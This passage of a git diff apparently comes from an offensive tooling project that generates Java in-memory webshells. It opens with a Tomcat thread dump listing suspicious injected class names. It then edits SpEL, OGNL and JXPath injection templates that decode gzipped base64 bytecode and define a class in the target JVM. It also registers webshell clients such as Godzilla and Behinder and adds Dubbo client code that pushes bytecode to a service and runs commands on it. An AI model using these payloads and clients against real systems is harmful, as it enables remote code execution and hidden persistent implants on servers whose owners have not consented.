at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"main" #1 [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
|
||||||
at org.apache.catalina.core.StandardServer.await(StandardServer.java:468)
|
|
||||||
at org.apache.catalina.startup.Catalina.await(Catalina.java:730)
|
|
||||||
at org.apache.catalina.startup.Catalina.start(Catalina.java:678)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
|
||||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
|
||||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
|
|
||||||
|
|
||||||
"http-nio-8080-Poller" #27 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
|
|
||||||
===========================================
|
|
||||||
|
|
||||||
StackClassNames:
|
|
||||||
Base64ClassLoaderAction
|
|
||||||
com.fasterxml.jackson.ZsoNQ.ErrorHandler
|
|
||||||
com.opensymphony.xwork2.DefaultActionInvocation
|
|
||||||
com.opensymphony.xwork2.interceptor.AliasInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ChainingInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ParametersInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.PrepareInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.StaticParametersInterceptor
|
|
||||||
com.opensymphony.xwork2.ognl.OgnlUtil
|
|
||||||
com.opensymphony.xwork2.ognl.OgnlUtil$3
|
|
||||||
com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor
|
|
||||||
com.opensymphony.xwork2.validator.ValidationInterceptor
|
|
||||||
ognl.ASTMethod
|
|
||||||
ognl.ObjectMethodAccessor
|
|
||||||
ognl.Ognl
|
|
||||||
ognl.OgnlRuntime
|
|
||||||
ognl.SimpleNode
|
|
||||||
org.apache.catalina.authenticator.AuthenticatorBase
|
|
||||||
org.apache.catalina.connector.CoyoteAdapter
|
|
||||||
org.apache.catalina.connector.CoyoteWriter
|
|
||||||
org.apache.catalina.core.ApplicationFilterChain
|
|
||||||
org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor
|
|
||||||
org.apache.catalina.core.StandardContextValve
|
|
||||||
org.apache.catalina.core.StandardEngineValve
|
|
||||||
org.apache.catalina.core.StandardHostValve
|
|
||||||
org.apache.catalina.core.StandardServer
|
|
||||||
org.apache.catalina.core.StandardWrapperValve
|
|
||||||
org.apache.catalina.startup.Bootstrap
|
|
||||||
org.apache.catalina.startup.Catalina
|
|
||||||
org.apache.catalina.valves.AbstractAccessLogValve
|
|
||||||
org.apache.catalina.valves.ErrorReportValve
|
|
||||||
org.apache.coyote.AbstractProcessorLight
|
|
||||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
|
||||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
|
||||||
org.apache.coyote.http11.Http11Processor
|
|
||||||
org.apache.struts2.dispatcher.Dispatcher
|
|
||||||
org.apache.struts2.dispatcher.ExecuteOperations
|
|
||||||
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
|
|
||||||
org.apache.struts2.factory.StrutsActionProxy
|
|
||||||
org.apache.struts2.interceptor.CheckboxInterceptor
|
|
||||||
org.apache.struts2.interceptor.DateTextFieldInterceptor
|
|
||||||
org.apache.struts2.interceptor.FileUploadInterceptor
|
|
||||||
org.apache.struts2.interceptor.I18nInterceptor
|
|
||||||
org.apache.struts2.interceptor.MultiselectInterceptor
|
|
||||||
org.apache.struts2.interceptor.ServletConfigInterceptor
|
|
||||||
org.apache.struts2.interceptor.debugging.DebuggingInterceptor
|
|
||||||
org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
|
|
||||||
org.apache.tomcat.util.net.Acceptor
|
|
||||||
org.apache.tomcat.util.net.NioEndpoint
|
|
||||||
org.apache.tomcat.util.net.NioEndpoint$Poller
|
|
||||||
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
|
|
||||||
org.apache.tomcat.util.net.SocketProcessorBase
|
|
||||||
org.apache.tomcat.util.threads.TaskQueue
|
|
||||||
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
|
|
||||||
org.apache.tomcat.util.threads.ThreadPoolExecutor
|
|
||||||
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
|
|
||||||
File diff suppressed because it is too large
Load Diff
+1153
-1100
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+602
-596
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+562
-539
File diff suppressed because it is too large
Load Diff
+1
-1
Submodule libs updated: 8b7c2ffadf...2afd3b793f
+1
-1
@@ -11,7 +11,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class JXPathSpringGzipJDK17Packer implements Packer {
|
public class JXPathSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
|||||||
* @since 2025/7/7
|
* @since 2025/7/7
|
||||||
*/
|
*/
|
||||||
public class OGNLSpringGzipJDK17Packer implements Packer {
|
public class OGNLSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class SpELSpringGzipJDK17Packer implements Packer {
|
public class SpELSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
|
|||||||
+4
-2
@@ -28,7 +28,7 @@ dependencyResolutionManagement {
|
|||||||
rootProject.name = "memshell-party"
|
rootProject.name = "memshell-party"
|
||||||
|
|
||||||
include("memshell-party-common")
|
include("memshell-party-common")
|
||||||
include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword")
|
include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword", "tools:command")
|
||||||
include("packer")
|
include("packer")
|
||||||
include("boot")
|
include("boot")
|
||||||
include("generator")
|
include("generator")
|
||||||
@@ -37,15 +37,17 @@ include("vul:vul-webapp")
|
|||||||
include("vul:vul-webapp-jakarta")
|
include("vul:vul-webapp-jakarta")
|
||||||
include("vul:vul-webapp-expression")
|
include("vul:vul-webapp-expression")
|
||||||
include("vul:vul-webapp-deserialize")
|
include("vul:vul-webapp-deserialize")
|
||||||
include("vul:vul-struct2")
|
include("vul:vul-struts2")
|
||||||
include("vul:vul-springboot1")
|
include("vul:vul-springboot1")
|
||||||
include("vul:vul-springboot2")
|
include("vul:vul-springboot2")
|
||||||
include("vul:vul-springboot2-jetty")
|
include("vul:vul-springboot2-jetty")
|
||||||
include("vul:vul-springboot2-undertow")
|
include("vul:vul-springboot2-undertow")
|
||||||
include("vul:vul-springboot3")
|
include("vul:vul-springboot3")
|
||||||
|
include("vul:vul-springboot359")
|
||||||
include("vul:vul-springboot2-webflux")
|
include("vul:vul-springboot2-webflux")
|
||||||
include("vul:vul-springboot3-webflux")
|
include("vul:vul-springboot3-webflux")
|
||||||
include("vul:vul-playframework")
|
include("vul:vul-playframework")
|
||||||
|
include("vul:vul-dubbo")
|
||||||
include("memshell-agent:memshell-agent-attacher")
|
include("memshell-agent:memshell-agent-attacher")
|
||||||
include("memshell-agent:memshell-agent-asm")
|
include("memshell-agent:memshell-agent-asm")
|
||||||
include("memshell-agent:memshell-agent-javassist")
|
include("memshell-agent:memshell-agent-javassist")
|
||||||
|
|||||||
@@ -0,0 +1,96 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
val dubboClientCommon: SourceSet by sourceSets.creating
|
||||||
|
val dubboClientAlibaba: SourceSet by sourceSets.creating
|
||||||
|
val dubboClientApache: SourceSet by sourceSets.creating
|
||||||
|
|
||||||
|
val dubboClientCommonImplementation: Configuration by configurations.getting
|
||||||
|
val dubboClientAlibabaImplementation: Configuration by configurations.getting
|
||||||
|
val dubboClientApacheImplementation: Configuration by configurations.getting
|
||||||
|
|
||||||
|
val dubboClientCommonOutput = dubboClientCommon.output
|
||||||
|
|
||||||
|
dubboClientAlibaba.compileClasspath += dubboClientCommonOutput
|
||||||
|
dubboClientAlibaba.runtimeClasspath += dubboClientCommonOutput
|
||||||
|
dubboClientApache.compileClasspath += dubboClientCommonOutput
|
||||||
|
dubboClientApache.runtimeClasspath += dubboClientCommonOutput
|
||||||
|
|
||||||
|
listOf(
|
||||||
|
"dubboClientApacheCompileClasspath",
|
||||||
|
"dubboClientApacheRuntimeClasspath"
|
||||||
|
).forEach { configurationName ->
|
||||||
|
configurations.named(configurationName) {
|
||||||
|
exclude(group = "io.netty", module = "netty-transport-native-kqueue")
|
||||||
|
exclude(group = "io.netty", module = "netty-resolver-dns-native-macos")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src/main"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
dubboClientCommonImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
|
||||||
|
dubboClientAlibabaImplementation(dubboClientCommonOutput)
|
||||||
|
dubboClientAlibabaImplementation("com.alibaba:dubbo:2.6.12")
|
||||||
|
dubboClientAlibabaImplementation("com.alibaba:hessian-lite:3.2.4")
|
||||||
|
dubboClientAlibabaImplementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboClientAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3")
|
||||||
|
dubboClientAlibabaImplementation("org.springframework:spring-web:5.3.39")
|
||||||
|
dubboClientAlibabaImplementation("io.netty:netty-all:4.1.25.Final")
|
||||||
|
dubboClientAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26")
|
||||||
|
dubboClientAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26")
|
||||||
|
dubboClientAlibabaImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
dubboClientAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13")
|
||||||
|
|
||||||
|
dubboClientApacheImplementation(dubboClientCommonOutput)
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo:dubbo:3.3.6") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6")
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1")
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0")
|
||||||
|
dubboClientApacheImplementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2")
|
||||||
|
dubboClientApacheImplementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboClientApacheImplementation("io.netty:netty-all:4.1.119.Final")
|
||||||
|
dubboClientApacheImplementation("org.slf4j:slf4j-api:2.0.17")
|
||||||
|
dubboClientApacheImplementation("ch.qos.logback:logback-classic:1.5.18")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named<JavaCompile>(dubboClientCommon.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
|
||||||
|
listOf(dubboClientAlibaba, dubboClientApache).forEach { sourceSet ->
|
||||||
|
tasks.named<JavaCompile>(sourceSet.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register("dubboClientClasspath") {
|
||||||
|
group = "verification"
|
||||||
|
dependsOn(dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName)
|
||||||
|
doLast {
|
||||||
|
layout.buildDirectory.file("dubbo-client-classpaths/alibaba.txt").get().asFile.apply {
|
||||||
|
parentFile.mkdirs()
|
||||||
|
writeText(dubboClientAlibaba.runtimeClasspath.asPath)
|
||||||
|
}
|
||||||
|
layout.buildDirectory.file("dubbo-client-classpaths/apache.txt").get().asFile.apply {
|
||||||
|
parentFile.mkdirs()
|
||||||
|
writeText(dubboClientApache.runtimeClasspath.asPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named("classes") {
|
||||||
|
dependsOn(dubboClientCommon.classesTaskName, dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName)
|
||||||
|
}
|
||||||
+101
@@ -0,0 +1,101 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.client.alibaba;
|
||||||
|
|
||||||
|
import com.alibaba.dubbo.common.utils.NetUtils;
|
||||||
|
import com.alibaba.dubbo.config.ApplicationConfig;
|
||||||
|
import com.alibaba.dubbo.config.ReferenceConfig;
|
||||||
|
import com.alibaba.dubbo.config.RegistryConfig;
|
||||||
|
import com.alibaba.dubbo.rpc.service.GenericService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
public class AlibabaDubboClient {
|
||||||
|
|
||||||
|
private static final String LOOPBACK_HOST = "127.0.0.1";
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
forceLoopbackLocalAddress();
|
||||||
|
if (args.length < 1) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64> | run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
if ("load-bytes".equals(args[0])) {
|
||||||
|
if (args.length < 3) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64>");
|
||||||
|
}
|
||||||
|
System.out.println(loadBytes(args[1], args[2]));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ("run-command".equals(args[0])) {
|
||||||
|
if (args.length < 4) {
|
||||||
|
throw new IllegalArgumentException("usage: run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
Object result = runCommand(args[1], args[2], args[3]);
|
||||||
|
if (result instanceof byte[]) {
|
||||||
|
System.out.println(new String((byte[]) result, StandardCharsets.UTF_8));
|
||||||
|
} else {
|
||||||
|
System.out.println(String.valueOf(result));
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unsupported action: " + args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String loadBytes(String url, String base64) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
forceLoopbackLocalAddress();
|
||||||
|
ReferenceConfig<BytecodeLoadingService> reference = new ReferenceConfig<BytecodeLoadingService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("alibaba-dubbo-load-bytes-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(BytecodeLoadingService.class);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
BytecodeLoadingService loadingService = reference.get();
|
||||||
|
try {
|
||||||
|
return loadingService.loadBytes(base64);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object runCommand(String url, String interfaceName, String command) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
forceLoopbackLocalAddress();
|
||||||
|
ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("alibaba-dubbo-command-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(interfaceName);
|
||||||
|
reference.setGeneric(true);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
GenericService genericService = reference.get();
|
||||||
|
try {
|
||||||
|
return genericService.$invoke(
|
||||||
|
"handle",
|
||||||
|
new String[]{byte[].class.getName()},
|
||||||
|
new Object[]{command.getBytes(StandardCharsets.UTF_8)}
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void forceLoopbackLocalAddress() {
|
||||||
|
try {
|
||||||
|
Field localAddressField = NetUtils.class.getDeclaredField("LOCAL_ADDRESS");
|
||||||
|
localAddressField.setAccessible(true);
|
||||||
|
localAddressField.set(null, InetAddress.getByName(LOOPBACK_HOST));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
// Best-effort workaround for Dubbo 2.6.x local address selection on macOS.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+83
@@ -0,0 +1,83 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.client.apache;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport;
|
||||||
|
import org.apache.dubbo.config.ApplicationConfig;
|
||||||
|
import org.apache.dubbo.config.ReferenceConfig;
|
||||||
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
|
import org.apache.dubbo.rpc.service.GenericService;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
public class ApacheDubboClient {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
if (args.length < 1) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64> | run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
if ("load-bytes".equals(args[0])) {
|
||||||
|
if (args.length < 3) {
|
||||||
|
throw new IllegalArgumentException("usage: load-bytes <url> <base64>");
|
||||||
|
}
|
||||||
|
System.out.println(loadBytes(args[1], args[2]));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ("run-command".equals(args[0])) {
|
||||||
|
if (args.length < 4) {
|
||||||
|
throw new IllegalArgumentException("usage: run-command <url> <interfaceName> <command>");
|
||||||
|
}
|
||||||
|
Object result = runCommand(args[1], args[2], args[3]);
|
||||||
|
if (result instanceof byte[]) {
|
||||||
|
System.out.println(new String((byte[]) result, StandardCharsets.UTF_8));
|
||||||
|
} else {
|
||||||
|
System.out.println(String.valueOf(result));
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unsupported action: " + args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String loadBytes(String url, String base64) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
ReferenceConfig<BytecodeLoadingService> reference = new ReferenceConfig<BytecodeLoadingService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("apache-dubbo-load-bytes-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(BytecodeLoadingService.class);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
BytecodeLoadingService loadingService = reference.get();
|
||||||
|
try {
|
||||||
|
return loadingService.loadBytes(base64);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object runCommand(String url, String interfaceName, String command) {
|
||||||
|
ClientRuntimeSupport.prepareClientJvm();
|
||||||
|
ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
|
||||||
|
reference.setApplication(new ApplicationConfig("apache-dubbo-command-client"));
|
||||||
|
reference.setRegistry(new RegistryConfig("N/A"));
|
||||||
|
reference.setInterface(interfaceName);
|
||||||
|
reference.setGeneric(true);
|
||||||
|
reference.setCheck(false);
|
||||||
|
reference.setTimeout(30000);
|
||||||
|
reference.setRetries(0);
|
||||||
|
reference.setUrl(url);
|
||||||
|
|
||||||
|
GenericService genericService = reference.get();
|
||||||
|
try {
|
||||||
|
return genericService.$invoke(
|
||||||
|
"handle",
|
||||||
|
new String[]{byte[].class.getName()},
|
||||||
|
new Object[]{command.getBytes(StandardCharsets.UTF_8)}
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
reference.destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.api;
|
||||||
|
|
||||||
|
public interface BytecodeLoadingService {
|
||||||
|
String loadBytes(String base64);
|
||||||
|
}
|
||||||
+29
@@ -0,0 +1,29 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.client;
|
||||||
|
|
||||||
|
public final class ClientRuntimeSupport {
|
||||||
|
|
||||||
|
private static final String[] PROXY_PROPERTIES = new String[]{
|
||||||
|
"proxyHost",
|
||||||
|
"proxyPort",
|
||||||
|
"http.proxyHost",
|
||||||
|
"http.proxyPort",
|
||||||
|
"https.proxyHost",
|
||||||
|
"https.proxyPort",
|
||||||
|
"socksProxyHost",
|
||||||
|
"socksProxyPort",
|
||||||
|
"ftp.proxyHost",
|
||||||
|
"ftp.proxyPort"
|
||||||
|
};
|
||||||
|
|
||||||
|
